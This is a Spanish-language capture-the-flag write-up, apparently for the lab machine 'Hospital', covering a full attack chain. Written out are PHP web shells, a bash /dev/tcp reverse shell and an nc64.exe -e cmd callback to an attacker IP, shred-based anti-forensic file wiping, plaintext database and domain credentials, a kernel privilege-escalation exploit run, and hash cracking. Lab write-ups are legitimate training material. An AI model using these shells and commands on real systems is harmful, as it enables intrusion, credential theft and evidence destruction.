Hospital



Escaneo inicial:

       โ”‚ File: targeted
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
   1   โ”‚ # Nmap 7.95 scan initiated Tue Jun 10 00:13:55 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p 22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6404,6406,6407,
       โ”‚ 6409,6613,6633,8080,9389,18622 -oN targeted 10.10.11.241
   2   โ”‚ Nmap scan report for 10.10.11.241
   3   โ”‚ Host is up (0.16s latency).
   4   โ”‚ 
   5   โ”‚ PORT      STATE SERVICE           VERSION
   6   โ”‚ 22/tcp    open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
   7   โ”‚ | ssh-hostkey: 
   8   โ”‚ |   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
   9   โ”‚ |_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
  10   โ”‚ 53/tcp    open  domain            Simple DNS Plus
  11   โ”‚ 88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2025-06-10 07:14:04Z)
  12   โ”‚ 135/tcp   open  msrpc             Microsoft Windows RPC
  13   โ”‚ 139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
  14   โ”‚ 389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
  15   โ”‚ | ssl-cert: Subject: commonName=DC
  16   โ”‚ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
  17   โ”‚ | Not valid before: 2023-09-06T10:49:03
  18   โ”‚ |_Not valid after:  2028-09-06T10:49:03
  19   โ”‚ 443/tcp   open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
  20   โ”‚ |_http-title: Hospital Webmail :: Welcome to Hospital Webmail
  21   โ”‚ |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
  22   โ”‚ | tls-alpn: 
  23   โ”‚ |_  http/1.1
  24   โ”‚ | ssl-cert: Subject: commonName=localhost
  25   โ”‚ | Not valid before: 2009-11-10T23:48:47
  26   โ”‚ |_Not valid after:  2019-11-08T23:48:47
  27   โ”‚ |_ssl-date: TLS randomness does not represent time
  28   โ”‚ 445/tcp   open  microsoft-ds?
  29   โ”‚ 464/tcp   open  kpasswd5?
  30   โ”‚ 593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
  31   โ”‚ 636/tcp   open  ldapssl?
  32   โ”‚ | ssl-cert: Subject: commonName=DC
  33   โ”‚ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
  34   โ”‚ | Not valid before: 2023-09-06T10:49:03
  35   โ”‚ |_Not valid after:  2028-09-06T10:49:03
  36   โ”‚ 1801/tcp  open  msmq?
  37   โ”‚ 2103/tcp  open  msrpc             Microsoft Windows RPC
  38   โ”‚ 2105/tcp  open  msrpc             Microsoft Windows RPC
  39   โ”‚ 2107/tcp  open  msrpc             Microsoft Windows RPC
  40   โ”‚ 2179/tcp  open  vmrdp?
  41   โ”‚ 3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
  42   โ”‚ | ssl-cert: Subject: commonName=DC
  43   โ”‚ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
  44   โ”‚ | Not valid before: 2023-09-06T10:49:03
  45   โ”‚ |_Not valid after:  2028-09-06T10:49:03
  46   โ”‚ 3269/tcp  open  globalcatLDAPssl?
  47   โ”‚ | ssl-cert: Subject: commonName=DC
  48   โ”‚ | Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
  49   โ”‚ | Not valid before: 2023-09-06T10:49:03
  50   โ”‚ |_Not valid after:  2028-09-06T10:49:03
  51   โ”‚ 3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
  52   โ”‚ | ssl-cert: Subject: commonName=DC.hospital.htb
  53   โ”‚ | Not valid before: 2025-06-08T17:01:32
  54   โ”‚ |_Not valid after:  2025-12-08T17:01:32
  55   โ”‚ | rdp-ntlm-info: 
  56   โ”‚ |   Target_Name: HOSPITAL
  57   โ”‚ |   NetBIOS_Domain_Name: HOSPITAL
  58   โ”‚ |   NetBIOS_Computer_Name: DC
  59   โ”‚ |   DNS_Domain_Name: hospital.htb
  60   โ”‚ |   DNS_Computer_Name: DC.hospital.htb
  61   โ”‚ |   DNS_Tree_Name: hospital.htb
  62   โ”‚ |   Product_Version: 10.0.17763
  63   โ”‚ |_  System_Time: 2025-06-10T07:15:04+00:00
  64   โ”‚ 5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  65   โ”‚ |_http-server-header: Microsoft-HTTPAPI/2.0
  66   โ”‚ |_http-title: Not Found
  67   โ”‚ 6404/tcp  open  msrpc             Microsoft Windows RPC
  68   โ”‚ 6406/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
  69   โ”‚ 6407/tcp  open  msrpc             Microsoft Windows RPC
  70   โ”‚ 6409/tcp  open  msrpc             Microsoft Windows RPC
  71   โ”‚ 6613/tcp  open  msrpc             Microsoft Windows RPC
  72   โ”‚ 6633/tcp  open  msrpc             Microsoft Windows RPC
  73   โ”‚ 8080/tcp  open  http              Apache httpd 2.4.55 ((Ubuntu))
  74   โ”‚ | http-title: Login
  75   โ”‚ |_Requested resource was login.php
  76   โ”‚ | http-cookie-flags: 
  77   โ”‚ |   /: 
  78   โ”‚ |     PHPSESSID: 
  79   โ”‚ |_      httponly flag not set
  80   โ”‚ 9389/tcp  open  mc-nmf            .NET Message Framing
  81   โ”‚ 18622/tcp open  msrpc             Microsoft Windows RPC
  82   โ”‚ Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
  83   โ”‚ 
  84   โ”‚ Host script results:
  85   โ”‚ | smb2-time: 
  86   โ”‚ |   date: 2025-06-10T07:15:07
  87   โ”‚ |_  start_date: N/A
  88   โ”‚ |_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
  89   โ”‚ | smb2-security-mode: 
  90   โ”‚ |   3:1:1: 
  91   โ”‚ |_    Message signing enabled and required
  92   โ”‚ 
  93   โ”‚ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  94   โ”‚ # Nmap done at Tue Jun 10 00:16:08 2025 -- 1 IP address (1 host up) scanned in 133.70 seconds

Grepeamos por http para ver que serviciso de web tenemos corriendo:

cat targeted -l java | grep "http"

Viendo una web:

Investigando de que trata esta aplicacion encontramos lo siguiente:

Roundcube

Roundcube es un cliente de correo para ver los mensajes de correo a travรฉs de una pรกgina web, pudiendo acceder desde cualquier navegador con acceso a internet. Desde รฉl es posible realizar todas las operaciones necesarias para gestionar los correos e incluso usarlo como agenda de contactos y calendario.


  • Por el puerto 8080 que es otra web entramos a ver que contiene:

  • Creamos una cuenta:

Al ingresar nos pide que subamos un archivo pero no sabemos que extensiones son validas para ello usamos Burp Suite:

Burp Suite - File Upload - Extensiones

Cuando intentamos subir cualquier archivo a una aplicaciรณn web usando Burp Suite, podemos notar que algunos archivos no son aceptados debido a las restricciones de la aplicaciรณn. A continuaciรณn, exploraremos cรณmo manejar los archivos de carga en Burp Suite, enfocรกndonos en las extensiones de archivo y cรณmo podemos determinar cuรกles son vรกlidas o no.

Paso 1: Subida de Archivos y Redirecciรณn al Error

Al intentar subir un archivo con la extensiรณn .php, la aplicaciรณn no lo acepta y redirige al siguiente enlace de error:

  • Al tener una externsion .php no lo acepta y nos redirige a LOCATION: failed.php

  • para ver que estension son validas lo mandairesmoa al intrider agreando las extensiones y despues

grep extract le damos al add para q nos interesa una columna donde no srespoerende el failed.php el cmapo location q nos vale si ese campo es susces o failes por ahi filtraremsos


paso 2: Anรกlisis de Respuestas con grep y extract

Una vez que tenemos las respuestas de los intentos de carga, utilizamos grep para filtrar las respuestas y extraer la informaciรณn relevante. Nos interesa especรญficamente el campo Location en las cabeceras HTTP, que nos indicarรก si la carga fue exitosa o fallida:

  • Si la respuesta es "failed.php", significa que la carga del archivo ha fallado.

  • Si la respuesta no es "failed.php", significa que la carga fue exitosa.

El payload
GREP-EXTRACT
  • Como resultado:


  • Primero, al ejecutar el comando con feroxbuster, estรกs buscando rutas o directorios potenciales donde podrรญas intentar subir archivos. Esto es รบtil para identificar directorios o scripts que podrรญan permitirte cargar archivos.

feroxbuster -u http://hospital.htb:8080/ -w /usr/share/wordlists/dirb/common.txt
  • Probaremos si podemos subirle un archivo de prueba con phps:

<?php
echo "Hola Perรบ";
?>

Pero no se puede con esa extension por mas no salga sucesfull!

Subida de archivos .phar:

  • Crea un archivo PHP (por ejemplo, neuvo.phar) que contenga el cรณdigo deseado:

REFLEJA EL CODIGO

RCE FOR PHP

  • Configuramos el codigo para un RCE:

Uso de shell_exec():

<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

Uso de system():

<?php
echo "<pre>" . system($_GET['cmd']) . "</pre>";
?>

Configuraciรณn actual de PHP en el servidor:

<?php
phpinfo();
?>

Al probar estas vulnerabilidades de RCE, ejecutaremos el script phpinfo() para obtener informaciรณn del sistema, ya que los comandos system() y shell_exec() no estรกn funcionando. Es probable que estas funciones estรฉn deshabilitadas en la configuraciรณn del servidor para evitar la ejecuciรณn remota de comandos.

  • Lo ejecutamos:

En resumen, el comando phpinfo() proporciona una valiosa informaciรณn para un pentester al realizar un reconocimiento del entorno de PHP, lo que les permite identificar vulnerabilidades y configuraciones inseguras que podrรญan ser explotadas.

RCE - EXPLOIT

<?php
$dangerous_functions = array("exec", "passthru", "system", "shell_exec", "popen", "proc_open", "pcntl_exec");

foreach ($dangerous_functions as $f){
    if (function_exists($f)){
        echo "\n[+] " . $f . " - EXISTE";
    }
}
?>

Resultado:

Podemos ejecutar comandos con la funcionalidad de popen:

Y funcionรณ seรฑores:


Bash Shell

bash -c "bash -i >%26 /dev/tcp/10.10.16.3/443 0>%261"

Tenemos ejecuciรณn remota de comandos como www-data:


Tรฉcnica de eliminaciรณn

Una vez adentro en uploads eliminamos el archivo definitivamente para que ni con tรฉcnicas forenses se pueda recuperar:

shred -zun 50 -v cmd.phar

  • Miraremos los archivos de configuraciรณn:

Credenciales de BD

MySQL - Config

Conexiรณn a la base de datos utilizando las credenciales obtenidas:

mysql -uroot -p'my$qls3rv1c3!' -e "SHOW DATABASES;"
mysql -uroot -p'my$qls3rv1c3!' -e "USE hospital; SHOW TABLES;"
mysql -uroot -p'my$qls3rv1c3!' -e "SELECT * FROM hospital.users;"
  • Se encontrรณ un hash de admin:

  • Crackeando el hash de admin:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Pero no se obtuvo nada al respecto.


Versiรณn del Kernel 5.19.0-35-generic


  • Exploit Encontrado para las Vulnerabilidades CVE-2023-2640 y CVE-2023-32629

# Ejecutar el script del exploit
chmod +x exploit.sh
./exploit.sh
  • Subimos nuestros privilegios:


  • En el /etc/shadow se encontraron hashes:

  • Intentamos crakearlos: el $6$ es un SHA-512 modo 1800:

๎‚ฐ hashcat -a 0 -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt -O
  • Con esa contraseรฑa podemos ingresar por ssh pero es lo mismo que estuvismos en antes asi que buscamos en otro lado:

Como miramos en el escaneo se observo otro puerto http por el puerto 443

  • Podemos ingresar con el usuario de drwilliams y contraseรฑa qwe123!@#


Validaremos si el usuario es valido con netexec :

netexec smb 10.10.11.241 -u "drwilliams" -p 'qwe123!@#' --shares
VALIDO

Enumeramos usuarios por rpcclient :

rpcclient -U 'drwilliams%qwe123!@#' 10.10.11.241
DOS USUARIOS

AS-REP Roasting - Con credenciales


impacket-GetUserSPNs 'hospital.htb/drwilliams:qwe123!@#'
  • impacket-GetUserSPNs: Es una herramienta de la suite Impacket, que permite interactuar con Active Directory (AD) y obtener informaciรณn, como los SPNs.

  • hospital.htb: El nombre del dominio o de la red que se estรก atacando.

  • drwilliams:qwe123!@#: Especifica el usuario drwilliams y la contraseรฑa qwe123!@# para autenticarse en el dominio.


Sigamos segรบn la pagina web:

  • Debemos crear un archivo en formato .eps de manera que, al ser abierto por otra persona, ejecute un cรณdigo. En este caso, crearemos una reverse shell incrustando un cรณdigo malicioso que nos permitirรก interactuar con la mรกquina de forma remota

  • Ejecutaremos el siguiente script:

Nos pide un payload lo cual le bridamos el nuestro:

Le enviamos por mensaje:

  • Lo cual recibimos la conexiรณn:


SUBIR PRIVILEGIOS


icacls  htdocs

Usuarios tiene permisos de lectura, ejecuciรณn y escritura sobre la carpeta htdocs. Este es un riesgo si alguien obtiene acceso a la cuenta de usuario estรกndar en el sistema, ya que podrรญan modificar archivos web importantes.


Creamos nuestro archivo para ejecutar comandos:

Y al pasarlo a la maquina victima se vio lo siguiente:

En este punto ya podemos ejecutar comandos:

netcat - nc.exe

https://hospital.htb/malici.php?cmd=C:\\Temp\\binary\\nc64.exe -e cmd 10.10.16.3 443

WHOAMI


Last updated